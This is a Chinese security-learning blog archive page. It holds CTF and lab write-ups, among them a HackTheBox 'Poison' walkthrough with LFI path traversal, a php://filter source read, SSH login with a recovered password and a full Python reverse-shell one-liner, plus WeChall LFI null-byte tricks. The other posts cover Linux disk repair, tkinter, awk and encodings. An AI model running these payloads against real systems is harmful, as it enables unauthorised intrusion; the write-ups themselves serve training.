InfoSec Learning


  • 首页

  • 归档

  • 标签

  • 搜索

Poison(文件包含+端口转发)

发表于 2018-09-28 | 分类于 training

1. 端口扫描

ip: 10.10.10.84

1
2
3
4
5
6
7
22/tcp   open  ssh
80/tcp   open  http
5802/tcp open  vnc-http-2
5902/tcp open  vnc-2
5903/tcp open  vnc-3
6002/tcp open  X11:2
6003/tcp open  X11:3

嗯,确认是linux系统

2. web探测

2 一看到浏览器上的URL:file=xxx,就富有职业精神的输入../../../../../etc/passwd

啊哈~一个文件包含

Info1——机器上普通用户名称: hast::845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin nobody::65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin _tss::601:601:TrouSerS user:/var/empty:/usr/sbin/nologin messagebus::556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin avahi::558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin charix::1001:1001:charix:/home/charix:/bin/csh

运行:http://10.10.10.84/browse.php?file=php://filter/convert.base64-encode/resource=config.php

Info2——文件路径: Warning: include(php://filter/convert.base64-encode/resource=config.php): failed to open stream: operation failed in /usr/local/www/apache24/data/browse.php on line 2 Warning: include(): Failed opening ‘php://filter/convert.base64-encode/resource=config.php’ for inclusion (include_path=’.:/usr/local/www/apache24/data’) in /usr/local/www/apache24/data/browse.php on line 2

于是用php协议,访问browse.php,用hackbar解码一下。 4 本来想用dirbuster扫描下存在的文件,再用文件包括去查看敏感文件。。。 但是,这个实验中,主页面上有一个listfiles.php,访问以后,直接指出了一个pwdbackup.txt。

5 上面说这个密码很安全,它被加密了13次。真的还能出什么问题。 然后我一看,我去,base64编码还好意思说安全,加密13次又有什么意义吗? 我还是太菜,手动把密文的\n去掉,然后再解码,很多次解码后,密码为:Charix!2#4%6&8(0

方法二: sed -i ‘s/\n//g’ pwdbackup.txt

Info3——口令 Charix!2#4%6&8(0

  • Trying: ssh charix@10.10.10.84

charix/Charix!2#4%6&8(0 ssh登陆成功 6

3.提权

/home/charix目录下有三个文件,一个flag;一个secret,是空文件;还有一个secret.zip。 那么需要解压一下,tar -zxvf secret.zip 提示x secretEnter passphrase: 那么需要输入密码,然后尝试错误密码,会反复提示Enter passphrase。 通过Info3口令,成功解压。 解压后是secret文件,类型为:secret: Non-ISO extended-ASCII text, with no line terminators

用cat secret,显示为乱码。

vi secret

  • sudo、gcc———–>command not found
  • su ——> Sorry
  • uname -a查看内核版本,应该不是内核漏洞提权。
    1
    FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017     root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64
    
  • nc -l 999 ——-> nc: Permission denied

  • Trying(SUID提权,参考)。 find / -user root -perm -4000 -exec ls -ldb {} \; 执行结果中,没有namp、vim、find等等可以提权的程序。

有意思的是,在连接过程中,ssh命令面板突然不灵了,无法输入任何命令。 重新连进去以后,我的readme.txt多了一行。。。看来遇到同道中人了。

  • Trying:测试nc,用服务端连接kali。成功连接。

不是吧。。又连不上了,第一次遇到被人挤下线。

查看一下进程这些都是远程连进来的。。。

  • Trying:太卡了,弹一个python shell。 本地:nc -lvp 1234 服务器:python ‐c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.198",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","‐i"]);'

  • Trying : python -m SimpleHTTPServer 888
    1
    2
    3
    4
    5
    Traceback (most recent call last):
    File "/usr/local/lib/python2.7/runpy.py", line 174, in _run_module_as_main
      "__main__", fname, loader, pkg_name)
     。。。此处省略几十行
    socket.error: [Errno 13] Permission denied
    
  • Trying:

找到网站所在目录

3权限不够

  • Trying: 尝试vnc远程命令执行 查看开放端口

netstat

尝试vnc远程命令执行

1
2
3
use exploit/multi/vnc/vnc_keyboard_exec
set RHOST
set PASSWORD

试了好多密码,包括里面secret文件。失败

2018.9.28.总结

writeup参考

SSH原理与运用(二):远程操作与端口转发 01

通过绑定本地和远程的端口,就可以用vncviewer命令,使用密钥,开启vnc窗口 vncviewer -passwd secret 127.0.0.1:5901

阅读全文 »

Kali重启失败———备份!

发表于 2018-09-23 | 分类于 linux

死机之后

3 于是进入单用户模式 4 在如图所示的行,末尾加上init=/bin/bash F10,保存并重启

检查磁盘

6

检查磁盘是否有坏道


Alt+F2,快捷键进入tty2 发现是操作系统没有磁盘空间了 8

扩展磁盘空间

发现要扩展磁盘,需要先删除所有快照

  • 编辑虚拟机设置——硬盘——扩展 确认后,开机,等到虚拟机又卡住了,按alt+F2

可以看到sda已经从20GB变为40GB 9

可以看到/dev/sda1分区为100%利用率,所以我们要扩展的就是这个分区 10

…最近好多事,只有晚上才有时间整理一下,头昏脑涨之下,扩容失败了,grub找不到引导文件在哪个分区了 == 反正我找了好久,三个分区都是filesystem is unknown 1

1
2
3
4
set root=(hd0,6)  #选择哪块分区做引导
set prefix=(hd0,6)/boot/grub  #选择该分区的grub路径
insmod normal #保存设置
normal #确认

…算了,下回要学一学磁盘管理、灾备等知识。 先把vmdk磁盘备份一下,重新安装一个kali系统,然后把磁盘文件装进去。

提取vmdk中的数据(失败)

用软件poweriso 2 提取kali vmdk文件失败 11 数据错误: 13

12

正确做法

第一步:先清理文件,使得正常开机

在linux虚拟机死机后,先进入命令行模式,删除掉100%的根目录下的某些无用的文件(至少留出100mb) 16

然后就可以正常开机了。

第二步:关机虚拟机设置里硬盘扩容

可以看到根目录空间还是很紧张。 关机——备份虚拟机文件目录——编辑虚拟机设置——硬盘——输入硬盘容量——扩展——开机

第三步:开机添加新分区格式化

使得扩容之后的分区可以使用。 这里我添加的/dev/sda4分区。(详情可参考给出的链接) 使用下面的命令:

1
2
3
4
fdisk -l
fdisk /dev/sda
n  扩展磁盘
一路回车,创建就一个新的分区

将新分区转换为LVM格式 重启,并且格式化该分区

第四步:用LVM工具创建逻辑卷

省略,具体看总结里给出的参考资料 19

第五步:拷贝/usr资料

第三步,我们有了/etc/sda4 第四步,得到了/dev/mapper/debian-lv

mount /dev/mapper/debian-lv /media 该命令将分区挂载到根目录media目录下。

用df -h 可以查看挂载成功

cp -r -p /usr/* /media 等待比较长的时间,拷贝成功

第六步:修改/etc/fstab,使得开机自动挂载/dev/mapper/debian-lv分区

添加一行图中所示 20

重启即可

如果还是不行,那就狠心删掉/usr 因为根目录100%,可以使用的空间为0的话,是没办法正常开机的

不过删掉之前,一定要重启看看,

第一,/etc/fstab是否成功自动挂载debian-lv分区,

第二,/dev/mapper/debian-lv分区的内容是否成功备份了/usr! 成功了


可能会遇到的问题:

pvcreate not found or ignored by filtering 解决方案:pvscan -vvv 原因是sda3分区太小不能用,而sda4分区被正则表达式所省略

于是我们要修改配置文件,添加全局过滤器global_filter vi /etc/lvm/lvm.conf 18

pvcreate /dev/sda4 成功了

pv的意思是,physical volume物理卷


总结

  • 为什么我在扩展磁盘的时候不知道备份一下虚拟机呢?反 省。。
  • fdisk -l 查看有哪些磁盘 df -h 查看分区、容量大小、使用率等

  • 什么是LVM? 参考,简单的说就是磁盘管理工具

  • 开机自动挂载/etc/fstab使用
阅读全文 »

汇率转换程序

发表于 2018-09-22 | 分类于 code

写一个有图形界面的,汇率转换程序。 要求:

  1. 使用类
  2. 至少三个国家自由计算兑换后的货币数额。

12

定义了两个类,人民币转三种货币、美元转三种货币。 13

画一个图形界面 14

定义点击“Convert”之后执行的函数

15 源码Calculate_money.py

convert.py

阅读全文 »

FourCTFQues

发表于 2018-09-21 | 分类于 code

ascii解码

http://www.wechall.net/challenge/training/encodings/ascii/index.php 1 2

url解码

http://www.wechall.net/challenge/training/encodings/url/index.php

3

Limited Access

说穿了就很简单,学一下curl post用法 http://www.wechall.net/challenge/wannabe7331/limited_access/index.php?show=htaccess

1
curl -o index.html -d "user=htpasswd" --cookie "WC=10813202-36365-7vglY8H4noZkwvLg" http://www.wechall.net/challenge/wannabe7331/limited_access/protected/protected.php

图形识别

http://www.wechall.net/challenge/can_you_readme/index.php 图片地址 python包,pytesseract 本来以为pip install pytesseract,就可以了 但是,脚本报了一个错,说not found

还需要下载

1
2
3
sudo apt update
sudo apt install tesseract-ocr
sudo apt install libtesseract-dev

4

编写脚本,识别成功以后,添加自动获取模块。

5 源码

阅读全文 »

SSH... Z is sleeping

发表于 2018-09-20 | 分类于 unresolved

题目地址: http://www.wechall.net/challenge/warchall/ssssh/index.php

Z is sleeping, if you hurry you can steal his SSH key and log in as level8 题目要求:窃取Z的ssh密钥,以用户level8登陆

可以看出,level8是一个普通用户

查看level8家目录的文件 查看backups,其中有authorized_keys.backup

1
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtyppECq53bP3yUbQToXsxIhuYK5PyXLvTCj+Ob02/kcM3ZUEXNpsX1177Gl92kq4+tbt9pRm3UY3C8/7pEmkSWcbiLgIx96aqIoFvHEOdmz+9YaimPmzqaHTDW+g8QV+khFGDp22SOaUpKaUTpmLKniavIEVP4ouXPLqwapg/xEU36xF18a6bG4/iYV/Nxmf0bv7K6nkgRsYC55lRPHMVJnI1Gy7eHHk/PiHYR5pkOIb9GSTtqcJTRs/EJgVhBMygHYTrVT8+HLW0PqYK3Dw/Z6az3+qOaaAYqJk7sxBAZC4/YKhLVL6LjagRpff6rpXFUwv1eHidy2iLBRNcY/2Hw== 

solution.txt查看,发现权限不够

第一步,尝试登陆

前面信息搜集完毕,知道我们要做的事是,获得level8的ssh密钥,登陆后查看solution.txt

查看level8登陆,端口正确 尝试用authorized_keys.backup登陆,提示权限问题 更改权限之后,提示格式错误 1

好吧,生成一个公钥和密钥,观察一下格式。 2

  • 公钥:id_rsa.pub
    1
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx8c7MJcW5+5AaCSiEj3t3H7Rwlqe5lDlnW0bjbalTFd/xYwOVXUJfV/WN1UR08Bxc7arQpnA9sW7yTtbFv0yJl/yjQUMTR1ZXED2Ad8SO/7a2C3qbQsRLhsEIwKBgl4TGolr7Av/K+eChVEQBzzkGueLMnkyHS6o+4R5NfFX5TyMWl4XEx/4VQTAjjmBQMG+cWp5rzhtcwcsXQb+01hjQa15MIZyaTGc/++JRMDQZShvy0HOg/lEuXacyuny59ipQ/+YnRAaxQ5VAZJqHIDII82Ip3UWPPV0hEzBJ+zatANXLm5GUZpLxC00+HKSA2XykyrD/GIvc2hsKGVtOPAKx root@whale3070
    

    私钥:

1
2
3
4
5
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAsfHOzCXFufuQGgkohI97dx+0cJanuZQ5Z1tG422pUxXf8WMD
lV1CX1f1jdVEdPAcXO2q0KZwPbFu8k7Wxb9MiZf8o0FDE0dWVxA9gHfEjv+2tgt6
此处省略几十行。。。
-----END RSA PRIVATE KEY-----

authorized_keys.backup 给的是公钥,不是私钥,无法直接登陆。。。

转到level8的家目录,cat .ssh,还是权限不够。

第二步,寻找漏洞信息

根据题目提示,Z is sleeping, if you hurry you can steal his SSH key and log in as level8

  1. Z是谁?搜索了一圈,发现没有这个用户,可能是代称。
  2. 在/home目录下,搜索关键字,id_rsa、.ssh、rsa 基本都是权限不够,不过发现了一个用户ricter! 根据自己的家目录/home/user/whale3070判断,该用户也是在wechall上练习的人。

根据ricter留下的线索,认为是 openssl Predictable PRNG Brute Force SSH,一个可预测的ssh爆破漏洞

在rsa目录下有2048文件夹,里面存放着一些爆破用的文件,本来想拷出来,但权限不够。

4

info: warchall.net 176.58.89.195

第三步,下载exp,爆破

用脚本爆破ssh尝试登陆 5

阅读全文 »

pythonGUI ( 二 )

发表于 2018-09-13 | 分类于 code

继续上一篇。 我前些日子在某公司实习时候,负责writeup等文档的处理,需要批量给收到的文档打水印,因此写了一个python脚本。 现在把该脚本从命令行执行,添加图形化界面。

该程序的功能有:

  1. 给png图片批量添加水印,可以选择两种不同的水印。
  2. 给gif图批量添加水印。
  3. 提取word文档中的所有图片,添加水印。 1

    优化方案:

    • 优化前:该程序通过文件后缀,png、gif、docx决定不同的执行方案。但是每一次都需要选择打哪一种水印(i、e)
    • 优化后:现在用pythonGUI的单选按钮,默认水印i。 再用输入框,接受图片所在路径

构建图形界面

按照上一篇学到的知识,先画出图形化界面。 此时点击start,并没有任何作用,后面再加点击后的行为。 2 3

添加点击后的效果

运行前 4

运行后: 5

替换点击后的效果

上一步确认了点击是有效果的,然后定义几个函数,替换点击的效果。

问题:此时遇到了问题。因为我当初写代码时候很随意,现在代码乱七八糟的。该程序总共有三个py文件,其中一个是主文件,两个自定义的模块文件png、unzip。


错误示范: 该函数获取两个路径,把path路径下的压缩文件解压缩,然后保存到savepath路径下。

因为调用了zipfile模块,所以不走心地前面加了一个my (┬_┬),而且因为懒得打字,还丢掉了file…

1
2
3
4
5
def myzip(path,savepath):
    f=zipfile.ZipFile(path,'r')

    for file in f.namelist():
        f.extract(file,savepath)

正确示范: def extractDocx(path,savepath):

  • 名称应该有意义,它是做什么的,怎么用 废话没有意义。Variable一词永远不应当出现在变量名中。Table一词永远不应当出现在表名中。 话说我经常用var作为变量名~>_<~
  • 使用可搜索的变量名

整理前(213行),居然还找出了两个定义了却没有使用到的函数╭(′▽‵)╭ 6

梳理后(174行),将变量名整理了,并且只用调用judgment函数,即可运行程序。 这样方面了后面,再添加GUI的代码。


运行前 8

运行后 9 10

添加图形化界面程序初步完成了,写程序也是蛮累,吃饭~ 源代码

阅读全文 »

pythonGUI ( 一 )

发表于 2018-09-10 | 分类于 code

参考资料:

《python GUI Programming Cookbook》 《Expert Python Programming》python高级编程 《代码整洁之道》

学习时间2018-0901——20181231

学习目标:

  • 初级目标: 熟悉GUI的模块属性的调用。 习惯于全英文技术书籍的阅读。
  • 中级目标: 熟练掌握python高级语法。
  • 高级目标 通过案例联系数据结构知识进行学习。 通过案例学习《代码整洁之道》,养成良好编码习惯 自定义项目练习。

python是动态类型语言,它可以从变量定义推断出类型。 主要使用tkinter模块,使用了titile属性——标题 Lable属性——设置标签内容 1


定义了一个函数,设置了点击后的行为 2

GUI是事件驱动的,点击就创建了一个事件。


按键输入的属性: 3


添加下拉选择框,坐标(1,1): 4


定义点击后的显示文本 5


添加选择(是/否)按钮 6


添加单选按钮 7

总结:

python图形化编程,一如python的风格,拿来即用地简单。通过使用tk库的不同属性,定义框框大小、按钮button的类型,字符串所在的位置。

一个有图形界面的程序就完成了。

  • mark一下,免得遗忘。
    1. xx = tk.Tk() xx是tk库的一个实例,以下都用xx举例
    2. 程序首要标题
      xx.title('mytitle')
    3. 程序定义框框坐标 column是横坐标,从上到下,从0开始,递增+1。 row是纵坐标,从左边到右边,从0开始,递增+1。 ttk.Label(xx,text='new').grid(column=0,row=0)
    4. 点击后,程序响应行为: 首先定义一个行为函数,使得后面可以调用 定义了clickMe函数,点击new按钮,文字变为old。
      1
      2
      3
      def clickMe():
       myaction.configure(text='old')
      myaction = ttk.Button(xx,text='new',command=clickMe)
      
    5. 字符输入框 先创建tk的字符串变量实例name。 再创建ttk的输入框实例。
      1
      2
      3
      4
      name = tk.StringVar()
      nameEntered = ttk.Entry(win, width=12, textvariable=name)
      nameEntered.grid(column=0, row=1)
      nameEntered.focus()
      
    6. 选择框 先创建tk的字符串变量实例chVarEn。 再创建tk的选择框实例。
      1
      2
      3
      4
      chVarEn = tk.IntVar()
      check3 = tk.Checkbutton(win,text="Enabled",variable=chVarEn)
      check3.select()
      check3.grid(column=2,row=4,sticky=tk.W)
      
    7. 单选框 还是三行搞定 先创建tk的字符串变量实例radVar。 再创建tk的单选框实例。 第三行设置一下坐标。
      1
      2
      3
      radVar = tk.IntVar()
      rad1=tk.Radiobutton(xx,text=COLOR1,variable=radVar,value=1,command=radCall)
      rad1.grid(column=0,row=5,sticky=tk.W)
      
阅读全文 »

git(四)blog主题的修改

发表于 2018-09-06

参考资料:

  • adding-a-jekyll-theme-to-your-github-pages-site-with-the-jekyll-theme-chooser
  • NexT主题修改配置
  • jekyll快速指南

依赖

1
2
3
gem source -l
gem source -r xxx
gem source -a http://gems.rubyforge.org/

如果运行结果是404,需要换一个源,再重新试试。

1
2
3
gem install bundler
bundler install
gem update --system
  • bundle install 报错?? vi /root/.bundle/config 其中的url改为”https://rubygems.org”
  • bundle install报错?? 运行后报错:gem install nokogiri 安装:apt-get install libxslt-dev libxml2-dev

修改配置

对于该模板,修改_config.yml能够修改网页配置。 其中有一些参数:

  • Schemes 是网页的主题,一般有预设的主题,但是可以更改。
  • title 会显示在页面最上方。
  • author 自己的昵称,在主页会进行介绍。
  • image 是markdown存放的图片地址,一般在assets目录下。

文档属于Foo这个文件夹。

文档末尾的标记,方便索引

本地配置jekyll 静态站点

jekyll这个静态页面生成程序是用ruby写的,所以需要ruby环境,安装gem(类似python里的pip),之后再用gem安装jekyll程序。

安装jekyll依赖的程序。 最后运行转到blog目录,运行jekyll,即可用浏览器在本地访问我的blog。

具体方式请查看上面的参考资料。

最后确认所有配置都修改完毕了,就准备将修改推送到远程github的仓库。

1
2
3
git add .
git commit -m "update"
git push origin master
阅读全文 »

Local File Inclusion

发表于 2018-08-26 | 分类于 CTF

题目地址

首先访问下题目提到的:http://www.wechall.net/challenge/training/php/lfi/solution.php

1
You are not allowed to execute this script directly. Please include it using the LFI vuln in up/index.php.

提示

在主页面(index.php)利用该漏洞访问solution.php 3

info1: http://www.wechall.net/challenge/training/php/lfi/up/pages/welcome.html http://www.wechall.net/challenge/training/php/lfi/solution.php 说明需要返回两个上级目录


因为需要访问solution.php,于是联想到%00截断

实验一

file=news.html%00 1 截断是有效的

实验二

2 打开失败,可以看到报错揭示了路径

info: pages/solution.php 路径www/challenge/training/php/lfi/up/pages/news.html

实验三

www/challenge/training/php/lfi/up/xx.html 尝试用../返回上层路径。

file=../../solution.php%00 成功进行本地文件包含

阅读全文 »

实习总结

发表于 2018-08-17 | 分类于 experience

还有两周就回学校了。 实习了5个月,拿了两万多工资,大多都用来维持生活了。深感生活不易。

  • 1. 公司请人是要创造价值。 出了社会就不是学生了,公司不是给你学习的地方,要学习,学校才是学习的地方。 大多数公司都是干的很低端的活,高端点的都外包,或者公司几个骨干。其他都是可有可无的。走了,再招一个。加薪?不存在的。

  • 2. 对于学历。 很多活大多数人都能干,但如果5K能招研究生,为啥要招大专生? 如果不看重学历,那就看重其他方面,比如说——能力,关系,钱。。。 所以说,考学是寒门子弟提升自己阶级最好走的一条路了。

学历和能力虽然没有必然联系,但呈显著正相关。

  • 3. 工作能力要求:

对能力的基础要求是:熟练使用linux,了解虚拟化技术,了解web漏洞。

额外要求(不会也行,会更好):会markdown,会docker。 对能力的要求其实不高,其实就是一个搬砖的工作。如果要求高,工资应该在8K以上。 如果能够用脚本(bash脚本和python脚本)优化工作流程,就可以节省出很多时间来学习。

  • 4.对薪资的认识 IT行业,8K-10K 毕业工作一段时间。水平菜菜的。 15K-20K 某方面有拿得出手的技术。 30K以上 随便跳槽的水平

短期决定利润的是供需,长期决定价格的是行业壁垒

月入上万的那些人(或者在某个行业做出很大贡献的牛人),并不是因为他们本身能力多么强(只是一部分原因)

而是因为他们找到了能够发挥自己能力的“平台”

平台非常重要

  • 5.关于税

    老实交税的都是中产,无产没钱,富豪合理避税。 中产看起来光鲜的工资,(上万的工资)扣完只剩下一半多点。 赚的多,扣得越狠。 靠工资的,都是工人阶级,没有真正的工会。压榨的就是你。

  • 6.关于工作时间 拿多少钱,干多少事。 嫌工作太忙,辞职啊。。 身体是自己的,钱是赚不完的。

  • 7. 关于心态 刚来的时候:TMD,研发是傻B吧,拉过来打一顿。 现在:淡定淡定~想想怎么做完,免得最后赶在deadline,加班加到爆肝。

  • 8.关于学习方向 漏洞研究很有意思。。 话说一路学过来,病毒分析、木马编写、无线攻防、社会工程学、python、php、web漏洞、不敢说我学过二进制,我感觉需要找到自己的核心竞争力。

先提升代码能力吧。

  • 9.关于编程
1
2
3
4
5
6
7
8
9
写的程序必须一开始就准备文档

描述自己的设计思路

描述自己程序的使用方式

不然隔几个月再看,这个程序等于没有写。

不能用的程序,等于不存在。

先说这么多,人最重要的是开心。

阅读全文 »

Awk

发表于 2018-07-01 | 分类于 linux

awk是用来处理文本的。

  • 和sed的区别: sed就像一个女人化妆,只能修饰。 awk是整容术,会对文本进行比较大的改动。

命令的结构

案例一,结构:

  • { } 类似一个循环体,会对文件中的每一行进行迭代。 ```
  • BEGIN{}

  • {}

  • END{} ``` 上面三个语句都有一个花括号,其中放置的是命令(就是要对文本的操作) 而begin、end这些符号,指的是,何时执行命令。 比如,begin指的是,先执行命令,再读取一行文本。 {}指的是,对于读取的文本,执行这个命令。 end 在文本读取完毕之后执行。

案例二,awk的标识符:

echo -e “line1 f2 f3\nline2 f4 f5\nline3 f6 f7” Result: line1 f2 f3 line2 f4 f5 line3 f6 f7

echo -e “line1 f2 f3\nline2 f4 f5\nline3 f6 f7” | awk ‘{ print “Line no:”NR“,No of fields:”NF, “$0=”$0, “$1=”$1,”$2=”$2,”$3=”$3}’ Result: Line no:1,No of fields:3 $0=line1 f2 f3 $1=line1 $2=f2 $3=f3 Line no:2,No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5 Line no:3,No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7

  • NR : 记录数量(1,2,3,4) 比如说,awk 'END{ print NR }' xx.txt 输出xx.txt的行数。
  • NF : 字段数量

  • $1 $2 $3, awk默认以空格作为字段的分隔符。 就是说一段文本,A B C 代表了第一个字段,第二个字段以及第三个字段。 而$0代表了A B C 本身。

awk 'NR<=1 { print $1 }' 1.txt 获取该文件第一行的第一个字段

案例三,以行分割文本:

捕获 4

同理可得:awk '/步骤1/,/步骤2/' *.md 这个命令可以将文档分割,得到步骤一。

案例四,以纵排分割文本:

awk选择特定字符进行分割。如果不选择,默认空格作为分隔符。 awk -F ':' '{print $1}' fileA

阅读全文 »

编码与解码

发表于 2018-05-20 | 分类于 web

二进制、八进制、十六进制

简单地说,就是逢二进一,逢八进一,逢十六进一。 识别方式

二进制数据最好识别,除了0就是1的就是。

八进制通常在开头加0b 作为标志。

1
2
3
python
>bin(16)
0b10000

八进制数据(base‐8),包括0‐7。

八进制通常在开头加0 作为标志。 例如: 16(十进制)的八进制为20。写出来就是020 用python转换: print oct(16)

十六进制(base‐16),包括0‐9,A‐F,不区分大小写。

它的标志是0x

例如:44(十进制)的十六进制为2c,写出来就是0x2c

用python,十进制转十六进制: print hex(44)

用shell命令,字符串转十六进制: echo data xxd ‐p

十六进制转字符串: echo data | xxd ‐r ‐p

Base‐36

包括0‐9,A‐Z。不区分大小写,字母要么全部都是大写,要么全部都是小写,A=a。 base36很少用,不然在python中也会像上面的进制转换一样,直接用一个函数就能转换了。 首先需要安装base36模块,然后

1
2
3
4
>>>import base36
>>> import base36
>>> assert base36.dumps(19930503) == 'bv6h3'
>>> assert base36.loads('bv6h3') == 19930503

Base‐64

包括A‐Z、a‐z、0‐9、+、/(26*2+10+2=64) base64经常用在网络传输中。因为网络协议们是有着很久远的历史,支持的字符很少,安全性也是完全没有考虑过的事情。 为了传送一些不支持的字符,就编码一下。

a的ascii码是97,97的二进制是1100001 b的ascii码是98,98的二进制是1100010 所以ab的二进制就是1100001 1100010 把这串二进制以6位分组,就是11000 011100 010 然后再转换为十进制,11000的十进制是24,24再转换为ascii码。 末尾特殊规定:最后010 的二进制是2,但是2的ascii码不在A‐Z,a‐z,0‐9那些64字符中,最小的A的ASCII码为65。 所以,010干脆用=代替,只要最后一位很小,不能用ascii码表示的,就用=表示。 base64的特征有末尾的==(经常有,但也可能没有=)。 在linux环境,经常用

1
echo '需要解码的base64数据' | base64 ‐d

URL编码

通常出现在url地址上,方便传输(空格等字符不方便传输)。 包括%和十六进制数。 特征:就是%,当你看到如下字符,就能立即反应过来这是url编码的字符。每个字符由三位组成,%和两位十六进制数,这个十六进制数是某个ASCII码转换而成的。

1
%E6%96%87%E7%AB%A0/%E5%8D%9A%E5%AE%A2%E5%A4%87%E4%BB%BD/%E5%A4%87%E4%BB%BD/%E8%99%9A%E6%8B%9F%E6%9C%BA%E5%AE%9E%E9%AA%

python编码 解码 print urllib.unquote('%D6%D0%CE%C4')

HTML实体编码

在html(超文本传输协议)中,有些字符用编程的术语来说就是“标识符”。标识符是预定义的,而我们写代码的时候不能把变量名起名为标识符。所以 html编码就是把“标识符”用“实体”代替。 html实体编码的特征:包括& ; 和英文小写字母字符。 特征:&nbsp;&lt;&gt;

ASCII

美国信息交换标准码 Unicode是ASCII码的扩展,用2个字节,宽字符集。 php escape() 函数 可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。 _escape函数括号里的字符串是_必需的,是要被转义或编码的字符串

该方法不会对ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码:* @ - _ + . /。其他所有的字符都会被转义序列替换。 2883590-690f8ccc594eb48c

utf‐8 编码与unicode

例子

1
11100100 10111000 10100101

utf-8又叫做8‐bit Unicode Transformation Format,直译就是可变长度的unicode。 ascii码是美国人发明的,只包括英文字符和一些符号,无法表达其他国家的文字。 unicode是为了解决其他国家的字符问题。可想而知,全世界有上百个国家,而一个国家至少有1套字符,所以unicode需要用更长的01101101数据,来代表一个字符。

那么问题来了,如果一个英文文本,如果是unicode格式,那么在网络上传输的话,比ASCII格式的长度要大很多! 有人又说了,那么我转换为ASCII码格式不就行了嘛?

但是,如果是中英文混合呢?比如说一篇医学技术论文,中文里夹杂英文专业术语?如果转为ASCII码,那中文不就乱码了吗?

为了解决这个传输问题。utf-8编码出现了,如果是ASCII码里的,就用ASCII码里的,如果不是,就用unicode里的。可以简单理解为(ASCII+unicode)等于utf-8

?中文与utf-8编码的关系。

(ASCII+unicode)约等于utf-8 中文字符是unicode的子集。所以可以说,中文可以用utf-8表示。 ?unicode转utf-8

1
2
3
4
python
a='Metasploit\u6e17\u900f\u5b9e\u4f8b\u8bb2\u89e3' str类型
b=a.decode('unicode_escape') unicode类型,在linux中,可以用print直接输出中文
c=b.encode('utf-8') utf-8类型,在python中,即str类型

unicode只有转换为str(utf-8)才能用url编码传输。

?中文转为URL编码

1 在linux中,中文都是utf-8编码的。用quote()函数即可完成转换。

  • ?URL编码转为u ‐8 如果要显示为中文,用print函数直接输出即可。 print urllib.unquote(b) 2

gbk与utf-8

在unicode出现之前,各个国家都有自己的编码方式,gbk就是中文的编码方式(话说中国和台湾用的不是同一种编码,悄声说) windows的中文就是用的gbk编码,而linux的中文用的就是utf-8编码,所以文本复制时候,可能会乱码。 linux命令,gbk转utf‐8;如果转回来,gbk和utf‐8交换位置即可。 xx.txt是gbk格式文档,final是成功转换的utf‐8文档。 iconv ‐f gbk ‐t utf‐8 xx.txt > final.txt

阅读全文 »
1 … 18 19 20 … 33
whale

whale

Aimed at Pro Penetration tester. Email me "weaponmaster3070@gmail.com"

394 日志
31 分类
44 标签
github
© 2021 whale
由 Jekyll 强力驱动
主题 - NexT.Mist
本站访客数 人 总访问量 次